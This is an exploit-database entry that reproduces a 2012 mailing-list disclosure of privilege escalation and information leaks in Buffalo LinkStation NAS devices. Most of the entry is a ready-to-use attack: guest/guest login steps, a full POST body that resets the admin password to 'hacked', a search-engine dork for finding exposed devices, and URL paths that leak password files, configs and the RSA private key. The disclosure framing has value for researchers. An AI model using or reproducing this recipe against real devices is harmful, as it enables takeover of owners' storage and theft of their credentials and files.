ID

VAR-E-201212-0228

TITLE

Buffalo Linkstation Privilege Escalation

DESCRIPTION

Buffalo Linkstation (and various other Buffalo products) suffer from a privilege escalation vulnerability where a permanent guest account can be used to change the administrative password.

AFFECTED PRODUCTS

EXPLOIT

Release Date.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 5-Dec-2012
Last Update.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 -
Vendor Notification Date.\xa0 -

Product.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 Linkstation & Others

Platform.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 Buffalo Technology
Affected versions.\xa0 \xa0 \xa0 \xa0 Including Actual Version

Severity Rating.\xa0 \xa0 \xa0 \xa0 \xa0 High
Impact.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 Admin Password Reset

Attack Vector.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 From remote
Solution Status.\xa0 \xa0 \xa0 \xa0 \xa0 Don't use Buffalo
CVE reference.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 CVE - not assigned
\xa0

Hi List,

just checked something out. please verifiy:

A guest user is always enabled and can NOT be disabled.

A guest user gets a GSSS and a GRRR Session value assigned when logging on

To Reset the admin password do the following:

1. Login with guest/guest
2. Get the Valid GSSS and GRRR from the source
3. Send a post request with the following form to the buffalo:

hiddenPageId=user_add&txtUserEditName=admin&txtUserEditOldName=admin&txtUserEditPassword1st=hacked&txtUserEditPassword2nd=hacked&txtUserEditComment=hacked&rdoUserEditQuota=off&hiddenUserEditNameOld=admin&txtHelpSearch=&gPage=user&gMode=setup&gType=undefined&gKey=undefined&gSSS=<YOUR GUEST GSSS HERE>&gRRR=<YOUR GUEST GRRR HERE>&hiddenDummyText=dummy

Take care that the UserEditComment contains no special chars...

Thats it, Admin password reseted as Guest user.

Who needs permissions anyway.

Please let me know if this works for you, too.

Andre

----- Urspr\xfcngliche Message -----
Von: Troy Korjuslommi <tjk@tksoft.com>
An: Hurgel Bumpf <l0rd_lunatic@yahoo.com>
CC: "full-disclosure@lists.grok.org.uk" <full-disclosure@lists.grok.org.uk>
Gesendet: 18:33 Samstag, 1.Dezember 2012
Betreff: Re: [Full-disclosure] Buffalo Technology LinkStation Information Disclosure And Privilege Escalation

At least in my tests (on different LinkStations), the URIs only work
from the networks where admin has been authorized, using the admin port
(typically 80). I.e. typically wired LAN only. Still a very serious
problem (exposing passwords and private key), but not an issue for
WebAccess, since it uses another port and provides a different view of
the system. I.e. the URIs do not work over the WebAccess connection at
least on the LinkStations I tested.

Can you confirm? It seems that you have the admin interface open to the
WAN. At least judging from the fact that the URIs used port 80, which is
the one for the admin interface, not for WebAccess.

Troy
Tksoft Inc.

On Fri, 2012-11-30 at 17:54 +0000, Hurgel Bumpf wrote:
> Release Date.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 30-Nov-2012
> Last Update.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 -
> Vendor Notification Date.\xa0 23.Dec.2011
>
> Product.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 Linkstation & Others
>
> Platform.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 Buffalo Technology
> Affected versions.\xa0 \xa0 \xa0 \xa0 Including Actual Version
>
> Severity Rating.\xa0 \xa0 \xa0 \xa0 \xa0 Medium
> Impact.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 \xa0 Privilege escalation, Information Disclosure
>
> Attack Vector.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 From remote
> Solution Status.\xa0 \xa0 \xa0 \xa0 \xa0 Don't use internet function aka. WebAccess
> CVE reference.\xa0 \xa0 \xa0 \xa0 \xa0 \xa0 CVE - not yet assigned
>
>
> Buffalo doesn't has a security department. They always forwarded me to sales, as they thought the will help me there better. Never received any answer. Tried over some other companies to reach Buffalo, but they are not interested in vulnerabilities.
> I waited one year and nothing happend. So here we go...
>
>
>
> Buffalo Linkstation Information Disclosure (Password, Certificate,..)
> + Google Dork
>
> +--->intitle:"LinkStation - LS-WTGL"\xa0 Copyright 2002-2008
>
> (There are better ways to find them..)
>
>
>
> [ WebAccess - Accessing shared folders via Browser. Disabled by default. Has to be enabled ]
>
> If you find them online, a WebAccess ist enabled by 99.9%..
>
>
> No authentication needed to access the files!
>
>
> + Permission Settings (read)
> +---> x.x.x.x/modules/webaxs/module/files/perm.conf
>
> + Username & Password disclosure (htpasswd)
> +---> x.x.x.x/modules/webaxs/module/files/password
>
> + Lighttpd Config
> +---> x.x.x.x/modules/webaxs/module/files/lighttpd.conf
>
> + Lighttpd RSA Private & Public Key
> +---> x.x.x.x/modules/webaxs/module/files/host.pem
>
>
> Buffalo Linkstation Privilege Escalation (Admin Password Reset)
>
> After you cracked the htpassword,\xa0 logon with a gained (unprivileged) username and reset the admin password.
>
> To do so just use temperdata or intercept on burp and try to change your password. Enable temper and press the button to change your password.
>
> In the POST request just change the User*Name fields with the name "admin". Make sure to keep the gSSS and gRRR as they are the "session cookies".
> Send the changed values and logon with the admin user again.
>
> Example:
>
>
>
>\xa0 \xa0 Post Data:
>\xa0 \xa0 \xa0 hiddenPageId[user_add]
>\xa0 \xa0 \xa0 txtUserEditName[admin]\xa0 <--- Replace your username with admin here
>\xa0 \xa0 \xa0 txtUserEditOldName[admin]\xa0 <--- Replace your username with admin here
>\xa0 \xa0 \xa0 txtUserEditPassword1st[reset]\xa0 <-- Password of your favor
>\xa0 \xa0 \xa0 txtUserEditPassword2nd[reset]\xa0 <-- Password of your favor
>\xa0 \xa0 \xa0 txtUserEditComment[]
>\xa0 \xa0 \xa0 hiddenUserEditNameOld[admin]\xa0 <--- Replace your username with admin here
>\xa0 \xa0 \xa0 txtHelpSearch[]
>\xa0 \xa0 \xa0 gPage[user]
>\xa0 \xa0 \xa0 gMode[setup]
>\xa0 \xa0 \xa0 gType[undefined]
>\xa0 \xa0 \xa0 gKey[undefined]
>\xa0 \xa0 \xa0 gSSS[3ae1c32d69ff7a83594d9daa9c776ad8]
>\xa0 \xa0 \xa0 gRRR[666525125298680621]
>\xa0 \xa0 \xa0 hiddenDummyText[dummy]
>\xa0 \xa0 Response Headers:
>\xa0 \xa0 \xa0 Date[Fri, 09 Dec 2011 16:42:13 GMT]
>\xa0 \xa0 \xa0 Server[Apache/1.3.34 (Unix)]
>\xa0 \xa0 \xa0 Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
>\xa0 \xa0 \xa0 Expires[Thu, 01 Dec 1994 16:00:00 GMT]
>\xa0 \xa0 \xa0 Pragma[no-cache]
>\xa0 \xa0 \xa0 Keep-Alive[timeout=15, max=100]
>\xa0 \xa0 \xa0 Connection[Keep-Alive]
>\xa0 \xa0 \xa0 Transfer-Encoding[chunked]
>\xa0 \xa0 \xa0 Content-Type[text/html; charset=UTF-8]
> You can download a firmware Image and unzip it (zip password is all over the internet). There you will find more "features".
> It's just a very bad maintained linux. Bad filepermissions aso..
>
> Buffalo: Your firmware is bad and you should feel bad!
>
> Andr\xe9
>

EXPLOIT HASH

PRICE

free

TAGS

CREDITS

Hurgel Bumpf

EXTERNAL IDS

SOURCES

LAST UPDATE DATE

2022-07-27T09:56:44.731000+00:00

SOURCES RELEASE DATE